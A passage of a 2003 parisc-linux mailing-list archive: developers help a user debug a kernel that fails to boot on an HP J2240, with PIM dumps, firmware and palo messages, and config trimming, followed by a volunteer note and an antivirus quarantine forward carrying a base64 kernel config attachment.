Date: Sun, 2 Feb 2003 23:03:59 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20030203060359.GF29454@dsl2.external.hp.com>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622180 21266 80.91.229.3 (22 Nov 2014 02:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 23:03:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 71B6C4847; Sun,  2 Feb 2003 23:03:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203053336.GC1046@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17603

On Mon, Feb 03, 2003 at 12:33:36AM -0500, Aaron St. Pierre wrote:
> I setup a page with all of the information from the "basics" section
> of the faq. That page is : http://hadron.dyndns.org/parisc/

very good.

j2240 is pa8200 - ie 64-bit capable.
But don't use 64-bit kernel unless you know why you need to.

> Grant, I did as you said, and the same thing happened. What disturbs me
> is when it stopped at the brancing message and I waited about 15 minutes
> then pressed the toc button there was still nothing in the pim ( I
> cleared it prior to boot) I hope this doesn't mean the kernel isn't even
> loading and it has something to do with palo. 

your PIM dump only has the HPMC/memory/IO sections.
Didn't "ser pim" give you LPMC and TOC sections too?

Secondly, since your j2240 is dual CPU, the PIM dump should contain
the same info (HPMC, LPMC, TOC) for both CPUs.

Can you check if you firmware is anywhere near the current?
(See http://www.parisc-linux.org/faq/index.html#PDCupdate)


And the following from your log worries me despite the "ignore" part:
| Information: Boot device can't seek past 2Gb (ignore next error).
| byteio_read: seekread() returned -1 expected 2048

But nothing else indicated a problem loading the vmlinux.
I just don't see that when booting my a500.
It could be a difference in how palo interacts with IODC.

If you don't get any other hot tips, start disabling things in
the .config that you don't need: Parport, SBA/LBA/IOSAPIC,
USB, LCD/LED support, wireless, extra lan/scsi drivers, etc.

grant


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Sun, 2 Feb 2003 23:07:11 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20030203060711.GG29454@dsl2.external.hp.com>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622180 21267 80.91.229.3 (22 Nov 2014 02:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 23:07:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 91A484847; Sun,  2 Feb 2003 23:07:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030203060359.GF29454@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17604

On Sun, Feb 02, 2003 at 11:03:59PM -0700, Grant Grundler wrote:
> If you don't get any other hot tips, start disabling things in
> the .config that you don't need: Parport, SBA/LBA/IOSAPIC,
> USB, LCD/LED support, wireless, extra lan/scsi drivers, etc.

I forgot to mention STI drivers - ditch those if you are using
serial console even though I doubt they are the problem.

grant


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 01:43:28 -0500
Lines: 77
Approved: news@gmane.org
Message-ID: <20030203064328.GD1046@hadron>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622181 21271 80.91.229.3 (22 Nov 2014 02:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 23:43:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BA0A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Feb 2003 23:43:36 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h136hXT5021819;
	Mon, 3 Feb 2003 01:43:34 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h136hSp7021818;
	Mon, 3 Feb 2003 01:43:28 -0500
Content-Disposition: inline
In-Reply-To: <20030203060359.GF29454@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17605

Yea I missed that one. With this version of the firmware you have to
request the specific PIM, HPMC, LPMC, TOC. Anyway I got the the TOC
information for both processors after I tried to boot my kernel. It is
all on that page ( http://hadron.dyndns.org/parisc/ ) 

I also added a link to the firmware. I am running 2.0 of the firmware
and according to hp the most recent is 2.1 or : 

Patch Name: /firmware_patches/hp/cpu/PF_CJ224021
Description: HP 9000 Model J2240 firmware 2.1 patch
Date       : 00/10/06

I will start popping stuff out of the kernel, although I am sure I took
out all of the stuff wrt graphics. Another try for persistance sake wont
hurt :) 

As far as the palo message, i only started noticing it when I went to
v1.2 of palo. One thing I should note, when I set up / i made it ext3,
boot is off of / and not its own fs so when i realized what i did I just
changed fstab accordingly so it would mount as ext2, although that
couldn't be the problem either since it is loading the debian kernels.
Perhaps sleep is in order ?

:)

In another life Grant Grundler wrote:

> On Mon, Feb 03, 2003 at 12:33:36AM -0500, Aaron St. Pierre wrote:
> > I setup a page with all of the information from the "basics" section
> > of the faq. That page is : http://hadron.dyndns.org/parisc/
> 
> very good.
> 
> j2240 is pa8200 - ie 64-bit capable.
> But don't use 64-bit kernel unless you know why you need to.
> 
> > Grant, I did as you said, and the same thing happened. What disturbs me
> > is when it stopped at the brancing message and I waited about 15 minutes
> > then pressed the toc button there was still nothing in the pim ( I
> > cleared it prior to boot) I hope this doesn't mean the kernel isn't even
> > loading and it has something to do with palo. 
> 
> your PIM dump only has the HPMC/memory/IO sections.
> Didn't "ser pim" give you LPMC and TOC sections too?
> 
> Secondly, since your j2240 is dual CPU, the PIM dump should contain
> the same info (HPMC, LPMC, TOC) for both CPUs.
> 
> Can you check if you firmware is anywhere near the current?
> (See http://www.parisc-linux.org/faq/index.html#PDCupdate)
> 
> 
> And the following from your log worries me despite the "ignore" part:
> | Information: Boot device can't seek past 2Gb (ignore next error).
> | byteio_read: seekread() returned -1 expected 2048
> 
> But nothing else indicated a problem loading the vmlinux.
> I just don't see that when booting my a500.
> It could be a difference in how palo interacts with IODC.
> 
> If you don't get any other hot tips, start disabling things in
> the .config that you don't need: Parport, SBA/LBA/IOSAPIC,
> USB, LCD/LED support, wireless, extra lan/scsi drivers, etc.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Men say of women what pleases them; women do with men what pleases them.
 		-- DeSegur


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Mon, 3 Feb 2003 20:40:15 +1100
Lines: 23
Approved: news@gmane.org
Message-ID: <20030203094015.GC595@piglet2>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain> <20030130192346.GA1703@dsl2.external.hp.com>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622181 21273 80.91.229.3 (22 Nov 2014 02:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:41 +0000 (UTC)
Cc: "Michael S. Zick" <mszick@goquest.com>,
	"Beerse, Corn?" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 02:36:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta08bw.bigpond.com (mta08bw.bigpond.com [144.135.24.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 308A54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 02:36:08 -0700 (MST)
Original-Received: from piglet2.sspl.net.au ([144.135.24.69]) by
          mta08bw.bigpond.com (Netscape Messaging Server 4.15 mta08bw Jul
          16 2002 22:47:55) with SMTP id H9Q80400.40Q; Mon, 3 Feb 2003
          19:36:04 +1000 
Original-Received: from CPE-203-51-31-23.nsw.bigpond.net.au ([203.51.31.23]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V3.0n 8/9216592); 03 Feb 2003 19:36:04
Original-Received: by piglet2.sspl.net.au (Postfix, from userid 1000)
	id 9CDB120512; Mon,  3 Feb 2003 20:40:15 +1100
Content-Disposition: inline
In-Reply-To: <20030130192346.GA1703@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Operating-System: Linux/2.4.18-586tsc (i586)
X-Uptime: 20:31:29 up 1 day, 23:33,  9 users,  load average: 1.02, 1.05, 0.91
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17606

> > Who would be a good contact for such a change?
> 
> In general, Thibaut or myself.
> Anyone with CVS *write* permission can change the parisc-linux
> web page but most don't touch it.

I'll admit to actually putting my hand up quite some time back to take
a look at the hwdb stuff.. but time pressures of part time study,
family etc sort meant I didn't get that far with it.

However, if I can find archive sent to me, I'll try to get it at least
installed here before Uni starts again for me and _try_ to make some
contribution....  but no promises.

Any suggestions etc should be noted somewhere, and the archive I guess
is as good as any, and I'll try getting something sorted out.

But again, don't hold your breath... I did volunteer for this a long
time ago, but it didn't come to anything then either... sorry.. :(

Pete
:wq


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compile
Date: Mon, 3 Feb 2003 12:19:59 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20030203101959.GA28668@marmite.its.uct.ac.za>
References: <20030203020247.GB1046@hadron> <20030203041122.GB29454@dsl2.external.hp.com> <20030203053336.GC1046@hadron> <20030203060359.GF29454@dsl2.external.hp.com> <20030203064328.GD1046@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622181 21276 80.91.229.3 (22 Nov 2014 02:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:41 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "Aaron St. Pierre" <asp@ungod.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 03:20:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDD954829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 03:20:16 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 18fdi1-0002c8-00; Mon, 03 Feb 2003 12:20:13 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 327FA1A330; Mon,  3 Feb 2003 12:20:00 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	"Aaron St. Pierre" <asp@ungod.com>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030203064328.GD1046@hadron>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17607

On Mon, Feb 03, 2003 at 01:43:28AM -0500, Aaron St. Pierre wrote:
[snip]
> As far as the palo message, i only started noticing it when I went to
> v1.2 of palo. One thing I should note, when I set up / i made it ext3,
> boot is off of / and not its own fs so when i realized what i did I
[snip]

Your boot partition (/) is < 2GB, right?

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:26:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN-WCHRNTMS02 <ANTIGEN-WCHRNTMS02@mercer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen forwarded attachment
Date: Mon, 3 Feb 2003 14:45:51 -0000
Lines: 93
Approved: news@gmane.org
Message-ID: <858C0106622BD611A96400D0B74751C00100A842@WCHRNTMS02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2CB92.F2DABB40"
X-Trace: ger.gmane.org 1416622182 21278 80.91.229.3 (22 Nov 2014 02:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:42 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  3 08:16:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wgd1ntecout02.wmmercer.com (wgd1ntecout02.mercer.com [204.26.1.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9A4B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Feb 2003 08:16:51 -0700 (MST)
Original-Received: from wgd1ntec03.mercer.com (168.168.67.112 [168.168.67.112]) by wgd1ntecout02.wmmercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id 1DBY8GXH; Mon, 3 Feb 2003 10:14:42 -0500
Original-Received: from wlvpntec02.uk.wmmercer.com (WLVPNTEC02 [10.200.144.102]) by wgd1ntec03.mercer.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59)
	id DZ5Q86LZ; Mon, 3 Feb 2003 10:10:41 -0500
Original-Received: by WLVPNTEC02 with Internet Mail Service (5.5.2656.59)
	id <1CRPS15V>; Mon, 3 Feb 2003 15:16:41 -0000
X-Sybari-Space: 00000000 00000000 00000000 00000000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17608

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2CB92.F2DABB40
Content-Type: text/plain

The file attachment from the message "[parisc-linux] 2.5.56-pa0 64bit
successful boot", originally sent to you by Thibaut VARENE
(varenet@esiee.fr), has been forwarded to you from the Antigen Quarantine
area.
This attachment may have been re-scanned by Antigen and handled according to
the appropriate scan job's settings.



This e-mail and any attachments may be confidential or legally privileged.
If you received this message in error or are not the intended recipient, you
should destroy the e-mail message and any attachments or copies, and you are
prohibited from retaining, distributing, disclosing or using any information
contained herein.  Please inform us of the erroneous delivery by return
e-mail.  Thank you for your co-operation. 
Mercer Human Resource Consulting Limited is regulated by the Financial
Services Authority and is a member of the General Insurance Standards
Council. Registered in England No. 984275. Registered Office: Telford House,
14 Tothill Street, London SW1H 9NB 

  


------_=_NextPart_000_01C2CB92.F2DABB40
Content-Type: application/octet-stream;
	name="config.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="config.gz"

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
